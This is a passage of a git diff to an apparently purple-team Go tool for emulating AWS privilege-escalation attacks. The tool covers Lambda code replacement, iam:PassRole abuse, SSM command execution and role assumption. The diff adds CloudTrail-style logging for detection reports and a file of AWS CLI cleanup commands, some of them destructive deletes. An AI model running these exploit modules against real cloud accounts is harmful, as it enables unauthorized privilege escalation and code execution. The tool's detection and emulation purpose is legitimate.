a/pkg/exploits/lambda_createfunction_addpermission/module.go +++ b/pkg/exploits/lambda_createfunction_addpermission/module.go @@ -107,7 +107,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "lambda.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "lambda.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -176,6 +176,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] functionName := options["FUNCTION_NAME"] @@ -238,6 +239,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Caller: %s\n", callerArn) + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Retrieved caller identity to use as principal for Lambda resource-based policy", + map[string]string{"caller_arn": callerArn}) + } // Step 2: Create deployment package fmt.Printf("Creating Lambda function '%s' with role '%s'...\n", functionName, roleArn) @@ -280,6 +286,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } fmt.Printf("Lambda function created: %s\n", aws.ToString(createResult.FunctionArn)) + if logger != nil { + logger.LogAWSCall("lambda", "CreateFunction", config.Region, + fmt.Sprintf("Created Lambda function %s with execution role %s", functionName, roleArn), + map[string]string{"function_arn": aws.ToString(createResult.FunctionArn), "role_arn": roleArn, "payload": payloadType}) + } // Track the created Lambda function resource if tracker != nil { @@ -325,6 +336,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to add invoke permission: %v", err) } fmt.Println("Invoke permission added") + if logger != nil { + logger.LogAWSCall("lambda", "AddPermission", config.Region, + fmt.Sprintf("Added resource-based policy to Lambda function %s granting invoke permission to caller (%s)", functionName, callerArn), + map[string]string{"function_name": functionName, "principal": callerArn, "statement_id": statementID}) + } // Step 5: Wait for Lambda function and permissions to propagate (15s from demo_attack.sh) fmt.Println("Waiting 15 seconds for Lambda function and permissions to propagate...") @@ -346,6 +362,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { result := string(invokeResult.Payload) fmt.Println("Function execution completed") + if logger != nil { + logger.LogAWSCall("lambda", "InvokeFunction", config.Region, + fmt.Sprintf("Invoked Lambda function %s to execute payload under role permissions", functionName), + map[string]string{"function_name": functionName, "payload": payloadType}) + } // Step 7: If action-based payload, wait for IAM propagation (15s from demo_attack.sh) if _, ok := payload.(payloads.SideEffectReporter); ok { diff --git a/pkg/exploits/lambda_passrole/module.go b/pkg/exploits/lambda_passrole/module.go index 1310d1a..8baff72 100644 --- a/pkg/exploits/lambda_passrole/module.go +++ b/pkg/exploits/lambda_passrole/module.go @@ -88,7 +88,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "lambda.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "lambda.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -149,6 +149,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] functionName := options["FUNCTION_NAME"] @@ -244,6 +245,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } fmt.Printf("Lambda function created: %s\n", aws.ToString(createResult.FunctionArn)) + if logger != nil { + logger.LogAWSCall("lambda", "CreateFunction", config.Region, + fmt.Sprintf("Created Lambda function %s with execution role %s", functionName, roleArn), + map[string]string{"function_arn": aws.ToString(createResult.FunctionArn), "role_arn": roleArn, "payload": payloadType}) + } // Track the created Lambda function resource if tracker != nil { @@ -290,6 +296,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { result := string(invokeResult.Payload) fmt.Printf("Function execution completed\n") + if logger != nil { + logger.LogAWSCall("lambda", "InvokeFunction", config.Region, + fmt.Sprintf("Invoked Lambda function %s to execute payload under role permissions", functionName), + map[string]string{"function_name": functionName, "payload": payloadType}) + } // Track payload side effects (e.g., policy attachments, created roles/users) if tracker != nil { diff --git a/pkg/exploits/lambda_passrole_esm/module.go b/pkg/exploits/lambda_passrole_esm/module.go index 1a829c5..4cedbee 100644 --- a/pkg/exploits/lambda_passrole_esm/module.go +++ b/pkg/exploits/lambda_passrole_esm/module.go @@ -108,10 +108,10 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "lambda.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "lambda.amazonaws.com", m.DiscoveryLogger) case "EVENT_SOURCE_ARN": - return discovery.DiscoverDynamoDBStreams(context.Background(), config) + return discovery.DiscoverDynamoDBStreams(context.Background(), config, m.DiscoveryLogger) case "TABLE_NAME": // If EVENT_SOURCE_ARN is already set, derive table name from it @@ -124,7 +124,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current }, nil } } - return discovery.DiscoverDynamoDBTableNames(context.Background(), config) + return discovery.DiscoverDynamoDBTableNames(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) @@ -204,6 +204,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] eventSourceArn := options["EVENT_SOURCE_ARN"] @@ -301,6 +302,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } fmt.Printf("[+] Lambda function created: %s\n", aws.ToString(createResult.FunctionArn)) + if logger != nil { + logger.LogAWSCall("lambda", "CreateFunction", config.Region, + fmt.Sprintf("Created Lambda function %s with role %s for event-source-mapping exploit", functionName, roleArn), + map[string]string{"function_arn": aws.ToString(createResult.FunctionArn), "role_arn": roleArn}) + } if tracker != nil { tracker.TrackResource(modules.CreatedResource{ @@ -341,6 +347,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { esmUUID := aws.ToString(esmResult.UUID) fmt.Printf("[+] Event source mapping created: %s\n", esmUUID) + if logger != nil { + logger.LogAWSCall("lambda", "CreateEventSourceMapping", config.Region, + fmt.Sprintf("Created event source mapping %s from %s to function %s", esmUUID, eventSourceArn, functionName), + map[string]string{"esm_uuid": esmUUID, "event_source_arn": eventSourceArn, "function_name": functionName}) + } if tracker != nil { tracker.TrackResource(modules.CreatedResource{ diff --git a/pkg/exploits/lambda_updatecode/module.go b/pkg/exploits/lambda_updatecode/module.go index 5a3f36c..f74ee2c 100644 --- a/pkg/exploits/lambda_updatecode/module.go +++ b/pkg/exploits/lambda_updatecode/module.go @@ -105,7 +105,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverLambdaFunctions(context.Background(), config) + return discovery.DiscoverLambdaFunctions(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -148,6 +148,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger functionName := options["FUNCTION_NAME"] payloadType := options["PAYLOAD"] cleanup := options["CLEANUP"] != "false" @@ -196,6 +197,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fmt.Printf("Handler: %s\n", handler) fmt.Printf("Execution Role: %s\n", roleArn) fmt.Printf("Runtime: %s\n", actualRuntime) + if logger != nil { + logger.LogAWSCall("lambda", "GetFunction", config.Region, + fmt.Sprintf("Retrieved configuration for Lambda function %s (execution role: %s, runtime: %s)", functionName, roleArn, actualRuntime), + map[string]string{"function_name": functionName, "role_arn": roleArn, "runtime": actualRuntime}) + } // Persist detected runtime so the REPL can filter payloads on the next interaction options["FUNCTION_RUNTIME"] = actualRuntime @@ -263,6 +269,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to update function code: %v", err) } fmt.Println("Function code updated") + if logger != nil { + logger.LogAWSCall("lambda", "UpdateFunctionCode", config.Region, + fmt.Sprintf("Replaced code of Lambda function %s with exploit payload", functionName), + map[string]string{"function_name": functionName, "payload": payloadType, "role_arn": roleArn}) + } // Step 8: Wait for update to complete (15s from demo_attack.sh, plus polling) fmt.Println("Waiting for Lambda to deploy new code...") @@ -287,6 +298,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { result := string(invokeResult.Payload) fmt.Println("Function execution completed") + if logger != nil { + logger.LogAWSCall("lambda", "InvokeFunction", config.Region, + fmt.Sprintf("Invoked Lambda function %s to execute payload under function's execution role", functionName), + map[string]string{"function_name": functionName, "payload": payloadType}) + } // Step 10: If action-based payload, wait for IAM propagation (15s from demo_attack.sh) if _, ok := payload.(payloads.SideEffectReporter); ok { @@ -318,6 +334,19 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } else if !cleanup { fmt.Printf("Function '%s' left with modified code (cleanup disabled)\n", functionName) fmt.Println("Restore original code manually or via Terraform when done") + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "lambda:function-code", + Name: functionName, + Region: config.Region, + CleanupMethod: "lambda:UpdateFunctionCode", + ModuleID: "lambda-003", + Metadata: map[string]string{ + "function_name": functionName, + "role_arn": roleArn, + }, + }) + } } // Step 13: Process result diff --git a/pkg/exploits/lambda_updatecode_addpermission/module.go b/pkg/exploits/lambda_updatecode_addpermission/module.go index 69baa99..99f9e8a 100644 --- a/pkg/exploits/lambda_updatecode_addpermission/module.go +++ b/pkg/exploits/lambda_updatecode_addpermission/module.go @@ -110,7 +110,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverLambdaFunctions(context.Background(), config) + return discovery.DiscoverLambdaFunctions(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -164,6 +164,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger functionName := options["FUNCTION_NAME"] payloadType := options["PAYLOAD"] cleanup := options["CLEANUP"] != "false" @@ -288,6 +289,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to update function code: %v", err) } fmt.Println("Function code updated") + if logger != nil { + logger.LogAWSCall("lambda", "UpdateFunctionCode", config.Region, + fmt.Sprintf("Updated code of existing Lambda function %s with malicious payload", functionName), + map[string]string{"function_name": functionName}) + } // Step 9: Add resource-based permission to allow self-invocation statementID := fmt.Sprintf("AllowStartingUserInvoke-%d", time.Now().Unix()) @@ -307,6 +313,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to add invoke permission: %v", err) } fmt.Println("Invoke permission added") + if logger != nil { + logger.LogAWSCall("lambda", "AddPermission", config.Region, + fmt.Sprintf("Added invoke permission (statement %s) to Lambda function %s for caller %s", statementID, functionName, callerArn), + map[string]string{"function_name": functionName, "statement_id": statementID, "caller_arn": callerArn}) + } // Track the permission for cleanup if tracker != nil { @@ -393,6 +404,19 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } else { fmt.Printf("Function '%s' left with modified code and added permission (cleanup disabled)\n", functionName) fmt.Println("Restore original code and remove permission manually or via Terraform when done") + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "lambda:function-code", + Name: functionName, + Region: config.Region, + CleanupMethod: "lambda:UpdateFunctionCode", + ModuleID: "lambda-005", + Metadata: map[string]string{ + "function_name": functionName, + "role_arn": roleArn, + }, + }) + } } // Step 15: Process result diff --git a/pkg/exploits/lambda_updatecode_invoke/module.go b/pkg/exploits/lambda_updatecode_invoke/module.go index ec4de95..10f1253 100644 --- a/pkg/exploits/lambda_updatecode_invoke/module.go +++ b/pkg/exploits/lambda_updatecode_invoke/module.go @@ -108,7 +108,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverLambdaFunctions(context.Background(), config) + return discovery.DiscoverLambdaFunctions(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -161,6 +161,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger functionName := options["FUNCTION_NAME"] payloadType := options["PAYLOAD"] cleanup := options["CLEANUP"] != "false" @@ -276,6 +277,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to update function code: %v", err) } fmt.Println("Function code updated") + if logger != nil { + logger.LogAWSCall("lambda", "UpdateFunctionCode", config.Region, + fmt.Sprintf("Updated code of existing Lambda function %s with malicious payload", functionName), + map[string]string{"function_name": functionName}) + } // Step 8: Wait for update to complete (15s from demo_attack.sh, plus polling) fmt.Println("Waiting for Lambda to deploy new code...") @@ -331,6 +337,19 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { } else if !cleanup { fmt.Printf("Function '%s' left with modified code (cleanup disabled)\n", functionName) fmt.Println("Restore original code manually or via Terraform when done") + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "lambda:function-code", + Name: functionName, + Region: config.Region, + CleanupMethod: "lambda:UpdateFunctionCode", + ModuleID: "lambda-004", + Metadata: map[string]string{ + "function_name": functionName, + "role_arn": roleArn, + }, + }) + } } // Step 13: Process result diff --git a/pkg/exploits/omics_passrole/module.go b/pkg/exploits/omics_passrole/module.go index 25217d0..f041171 100644 --- a/pkg/exploits/omics_passrole/module.go +++ b/pkg/exploits/omics_passrole/module.go @@ -198,7 +198,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "omics.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "omics.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -259,6 +259,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] ecrImageURI := options["CONTAINER_URI"] @@ -351,6 +352,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { workflowID := aws.ToString(createResult.Id) fmt.Printf("HealthOmics workflow created: %s\n", workflowID) + if logger != nil { + logger.LogAWSCall("omics", "CreateWorkflow", region, + fmt.Sprintf("Created HealthOmics workflow %s", workflowName), + map[string]string{"workflow_id": workflowID, "workflow_name": workflowName}) + } // Track the workflow for cleanup. if tracker != nil { @@ -408,6 +414,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { runID := aws.ToString(startResult.Id) fmt.Printf("Workflow run started: %s\n", runID) + if logger != nil { + logger.LogAWSCall("omics", "StartRun", region, + fmt.Sprintf("Started HealthOmics workflow run %s with role %s", runID, roleArn), + map[string]string{"run_id": runID, "workflow_id": workflowID, "role_arn": roleArn}) + } // Track the run for cleanup. if tracker != nil { diff --git a/pkg/exploits/ssm_passrole_automation/module.go b/pkg/exploits/ssm_passrole_automation/module.go index 433aad7..b37f18c 100644 --- a/pkg/exploits/ssm_passrole_automation/module.go +++ b/pkg/exploits/ssm_passrole_automation/module.go @@ -171,7 +171,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ssm.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ssm.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -247,6 +247,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger automationRoleARN := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -301,6 +302,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("ssm:CreateDocument failed: %w", err) } fmt.Printf("SSM Automation document created: %s\n", documentName) + if logger != nil { + logger.LogAWSCall("ssm", "CreateDocument", region, + fmt.Sprintf("Created SSM Automation document %s", documentName), + map[string]string{"document_name": documentName}) + } // Track the SSM document so workspace cleanup can delete it. if tracker != nil { @@ -334,6 +340,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { executionID := aws.ToString(execOutput.AutomationExecutionId) fmt.Printf("Automation execution started: %s\n", executionID) + if logger != nil { + logger.LogAWSCall("ssm", "StartAutomationExecution", region, + fmt.Sprintf("Started SSM Automation execution %s with role %s (iam:PassRole)", executionID, automationRoleARN), + map[string]string{"execution_id": executionID, "document_name": documentName, "role_arn": automationRoleARN}) + } // Track side effects reported by the payload (e.g., policy attachments). // These are tracked before polling so they appear in cleanup even if the poll times out. diff --git a/pkg/exploits/ssm_sendcommand/module.go b/pkg/exploits/ssm_sendcommand/module.go index 3057618..81be474 100644 --- a/pkg/exploits/ssm_sendcommand/module.go +++ b/pkg/exploits/ssm_sendcommand/module.go @@ -129,7 +129,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_ID": - choices, err := discovery.DiscoverEC2InstancesWithProfiles(context.Background(), config) + choices, err := discovery.DiscoverEC2InstancesWithProfiles(context.Background(), config, m.DiscoveryLogger) if err != nil { return nil, err } @@ -178,6 +178,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger instanceID := options["INSTANCE_ID"] payloadType := options["PAYLOAD"] @@ -245,6 +246,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { commandID := aws.ToString(commandOutput.Command.CommandId) fmt.Printf("Command sent. Command ID: %s\n", commandID) + if logger != nil { + logger.LogAWSCall("ssm", "SendCommand", config.Region, + fmt.Sprintf("Sent SSM command %s to instance %s with payload %s", commandID, instanceID, payloadType), + map[string]string{"command_id": commandID, "instance_id": instanceID, "payload": payloadType}) + } // Wait for the command to execute. fmt.Println("Waiting 15 seconds for command execution...") diff --git a/pkg/exploits/ssm_startsession/module.go b/pkg/exploits/ssm_startsession/module.go index 1e3bb4b..5afce85 100644 --- a/pkg/exploits/ssm_startsession/module.go +++ b/pkg/exploits/ssm_startsession/module.go @@ -129,7 +129,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_ID": - choices, err := discovery.DiscoverEC2InstancesWithProfiles(context.Background(), config) + choices, err := discovery.DiscoverEC2InstancesWithProfiles(context.Background(), config, m.DiscoveryLogger) if err != nil { return nil, err } @@ -177,6 +177,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger // Pre-flight: session-manager-plugin must be in PATH for aws ssm start-session to work. // Check this before any AWS calls so the failure is immediate and actionable. @@ -262,6 +263,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("SSM session failed: %v", err) } + if logger != nil { + logger.LogAWSCall("ssm", "StartSession", region, + fmt.Sprintf("Started SSM session on instance %s and executed payload %s", instanceID, payloadType), + map[string]string{"instance_id": instanceID, "payload": payloadType}) + } // Track side effects reported by the payload. if reporter, ok := pl.(payloads.SideEffectReporter); ok && tracker != nil { diff --git a/pkg/exploits/sts_assume_role/module.go b/pkg/exploits/sts_assume_role/module.go index 1e5ff5c..48ac7a6 100644 --- a/pkg/exploits/sts_assume_role/module.go +++ b/pkg/exploits/sts_assume_role/module.go @@ -77,7 +77,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverAssumableRoles(context.Background(), config) + return discovery.DiscoverAssumableRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -131,6 +131,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options _ = ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] sessionName := options["SESSION_NAME"] if sessionName == "" { @@ -182,6 +183,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s with session %s", roleArn, sessionName), + map[string]string{"role_arn": roleArn, "session_name": sessionName}) + } fmt.Printf("✓ Successfully assumed role!\n") fmt.Printf("Account: %s\n", aws.ToString(result.AssumedRoleUser.Arn)) diff --git a/pkg/modules/base.go b/pkg/modules/base.go index c691399..67025c4 100644 --- a/pkg/modules/base.go +++ b/pkg/modules/base.go @@ -8,7 +8,15 @@ package modules // Embed this in concrete modules to reduce boilerplate — modules only need // to implement Options() and Execute() (plus payload methods if applicable). type BaseModule struct { - Info PathInfo + Info PathInfo + DiscoveryLogger ActionLogger // injected by REPL before each Discover() call; nil in tests +} + +// SetDiscoveryLogger satisfies the DiscoverLogged interface. +// The REPL calls this before invoking Discover() so that discovery functions +// can record their AWS API calls in the CloudTrail events log. +func (b *BaseModule) SetDiscoveryLogger(logger ActionLogger) { + b.DiscoveryLogger = logger } // PathInfo returns the module's structured metadata. diff --git a/pkg/modules/interface.go b/pkg/modules/interface.go index d823918..9d042dc 100644 --- a/pkg/modules/interface.go +++ b/pkg/modules/interface.go @@ -174,7 +174,8 @@ type ExecutionContext struct { Identity *Identity Options map[string]string Tracker ResourceTracker - AttackerIdentity *Identity // nil when no attacker account is configured + AttackerIdentity *Identity // nil when no attacker account is configured + Logger ActionLogger // nil-safe; always set by the REPL, may be nil in tests } type Module interface { @@ -227,6 +228,33 @@ type ResourceTracker interface { TrackResource(resource CreatedResource) } +// CloudTrailEvent records one AWS API call made during module execution, +// for use in purple team detection-reference reports. +type CloudTrailEvent struct { + Timestamp time.Time `json:"timestamp"` + ModuleID string `json:"module_id"` + Service string `json:"service"` // e.g. "sts" + Operation string `json:"operation"` // e.g. "AssumeRole" + Region string `json:"region,omitempty"` + Description string `json:"description"` // human-readable context for blue team + Metadata map[string]string `json:"metadata,omitempty"` // key resource identifiers (ARNs, names) +} + +// ActionLogger records AWS API calls made during module execution. Modules must +// nil-check before calling — the REPL always supplies one, but unit tests that +// don't care about logging may pass nil. +type ActionLogger interface { + LogAWSCall(service, operation, region, description string, metadata map[string]string) +} + +// DiscoverLogged is an optional interface implemented automatically by modules +// that embed BaseModule. The REPL calls SetDiscoveryLogger before each Discover() +// invocation so discovery functions can record their AWS API calls in the +// CloudTrail events log. +type DiscoverLogged interface { + SetDiscoveryLogger(logger ActionLogger) +} + // Discoverable is an optional interface that modules can implement // to support auto-discovery of option values via AWS API calls. // When a user runs 'discover' or 'exploit' with missing options, diff --git a/pkg/report/cleanup.go b/pkg/report/cleanup.go new file mode 100644 index 0000000..6ba69e5 --- /dev/null +++ b/pkg/report/cleanup.go @@ -0,0 +1,416 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +package report + +import "fmt" + +// CleanupCommand returns the AWS CLI command(s) needed to clean up a resource. +// Returns an empty string for unknown types. Multiple commands are newline-separated. +func CleanupCommand(res Resource) string { + region := res.Region + if region == "" { + region = "us-east-1" + } + + switch res.Type { + case "lambda:function": + return fmt.Sprintf("aws lambda delete-function --function-name %s --region %s", res.Name, region) + case "lambda:event-source-mapping": + uuid := res.Metadata["uuid"] + if uuid == "" { + uuid = res.Name + } + return fmt.Sprintf("aws lambda delete-event-source-mapping --uuid %s --region %s", uuid, region) + case "lambda:permission": + funcName := res.Metadata["function_name"] + stmtID := res.Metadata["statement_id"] + return fmt.Sprintf("aws lambda remove-permission --function-name %s --statement-id %s --region %s", funcName, stmtID, region) + case "ec2:instance": + instanceID := res.Metadata["instance_id"] + if instanceID == "" { + instanceID = res.Name + } + return fmt.Sprintf("aws ec2 terminate-instances --instance-ids %s --region %s", instanceID, region) + case "ec2:spot-instance-request": + spotRequestID := res.Metadata["spot_request_id"] + if spotRequestID == "" { + spotRequestID = res.Name + } + return fmt.Sprintf("aws ec2 cancel-spot-instance-requests --spot-instance-request-ids %s --region %s", spotRequestID, region) + case "iam:attached-policy": + principalType := res.Metadata["principal_type"] + principalName := res.Metadata["principal_name"] + policyArn := res.Metadata["policy_arn"] + switch principalType { + case "role": + return fmt.Sprintf("aws iam detach-role-policy --role-name %s --policy-arn %s", principalName, policyArn) + case "group": + return fmt.Sprintf("aws iam detach-group-policy --group-name %s --policy-arn %s", principalName, policyArn) + default: + return fmt.Sprintf("aws iam detach-user-policy --user-name %s --policy-arn %s", principalName, policyArn) + } + case "iam:inline-policy": + principalType := res.Metadata["principal_type"] + principalName := res.Metadata["principal_name"] + policyName := res.Metadata["policy_name"] + switch principalType { + case "role": + return fmt.Sprintf("aws iam delete-role-policy --role-name %s --policy-name %s", principalName, policyName) + case "group": + return fmt.Sprintf("aws iam delete-group-policy --group-name %s --policy-name %s", principalName, policyName) + default: + return fmt.Sprintf("aws iam delete-user-policy --user-name %s --policy-name %s", principalName, policyName) + } + case "iam:group-membership": + userName := res.Metadata["user_name"] + groupName := res.Metadata["group_name"] + return fmt.Sprintf("aws iam remove-user-from-group --user-name %s --group-name %s", userName, groupName) + case "iam:trust-policy": + roleName := res.Metadata["role_name"] + return fmt.Sprintf("aws iam update-assume-role-policy --role-name %s --policy-document ''", roleName) + case "iam:policy-version": + policyArn := res.Metadata["policy_arn"] + versionID := res.Metadata["version_id"] + return fmt.Sprintf("aws iam delete-policy-version --policy-arn %s --version-id %s", policyArn, versionID) + case "iam:access-key": + username := res.Metadata["username"] + accessKeyID := res.Metadata["access_key_id"] + if accessKeyID == "" { + accessKeyID = res.Name + } + return fmt.Sprintf("aws iam delete-access-key --user-name %s --access-key-id %s", username, accessKeyID) + case "iam:login-profile": + username := res.Metadata["username"] + if username == "" { + username = res.Name + } + return fmt.Sprintf("aws iam delete-login-profile --user-name %s", username) + case "iam:role": + return fmt.Sprintf("aws iam delete-role --role-name %s", res.Name) + case "iam:user": + return fmt.Sprintf("aws iam delete-user --user-name %s", res.Name) + case "ecs:service": + cluster := res.Metadata["cluster"] + return fmt.Sprintf("aws ecs delete-service --cluster %s --service %s --force --region %s", cluster, res.Name, region) + case "ecs:cluster": + return fmt.Sprintf("aws ecs delete-cluster --cluster %s --region %s", res.Name, region) + case "s3_bucket": + return fmt.Sprintf("aws s3 rm s3://%s --recursive --region %s\naws s3api delete-bucket --bucket %s --region %s", res.Name, region, res.Name, region) + case "glue:dev-endpoint": + return fmt.Sprintf("aws glue delete-dev-endpoint --endpoint-name %s --region %s", res.Name, region) + case "glue:job": + return fmt.Sprintf("aws glue delete-job --job-name %s --region %s", res.Name, region) + case "glue:session": + return fmt.Sprintf("aws glue stop-session --id %s --region %s\naws glue delete-session --id %s --region %s", res.Name, region, res.Name, region) + case "glue:trigger": + return fmt.Sprintf("aws glue stop-trigger --name %s --region %s\naws glue delete-trigger --name %s --region %s", res.Name, region, res.Name, region) + case "imagebuilder:component": + componentArn := res.Metadata["component_arn"] + if componentArn == "" { + componentArn = res.ARN + } + return fmt.Sprintf("aws imagebuilder delete-component --component-build-version-arn %s --region %s", componentArn, region) + case "imagebuilder:recipe": + recipeArn := res.Metadata["recipe_arn"] + if recipeArn == "" { + recipeArn = res.ARN + } + return fmt.Sprintf("aws imagebuilder delete-image-recipe --image-recipe-arn %s --region %s", recipeArn, region) + case "imagebuilder:infra-config": + infraArn := res.Metadata["infra_config_arn"] + if infraArn == "" { + infraArn = res.ARN + } + return fmt.Sprintf("aws imagebuilder delete-infrastructure-configuration --infrastructure-configuration-arn %s --region %s", infraArn, region) + case "imagebuilder:image": + imageArn := res.Metadata["image_build_arn"] + if imageArn == "" { + imageArn = res.ARN + } + return fmt.Sprintf("aws imagebuilder cancel-image-creation --image-build-version-arn %s --region %s 2>/dev/null || true\naws imagebuilder delete-image --image-build-version-arn %s --region %s", imageArn, region, imageArn, region) + case "kinesisanalyticsv2:application": + createTimestamp := res.Metadata["create_timestamp"] + return fmt.Sprintf("# Stop the application first, then delete using its original CreateTimestamp\naws kinesisanalyticsv2 stop-application --application-name %s --force --region %s 2>/dev/null || true\naws kinesisanalyticsv2 delete-application --application-name %s --create-timestamp %s --region %s", res.Name, region, res.Name, createTimestamp, region) + case "local:file": + path := res.Metadata["path"] + if path == "" { + path = res.Name + } + return fmt.Sprintf("rm -f %s", path) + case "batch:job-definition": + jobDefArn := res.Metadata["job_definition_arn"] + if jobDefArn == "" { + jobDefArn = res.ARN + } + if jobDefArn == "" { + jobDefArn = res.Name + } + return fmt.Sprintf("aws batch deregister-job-definition --job-definition %s --region %s", jobDefArn, region) + case "batch:job-queue": + 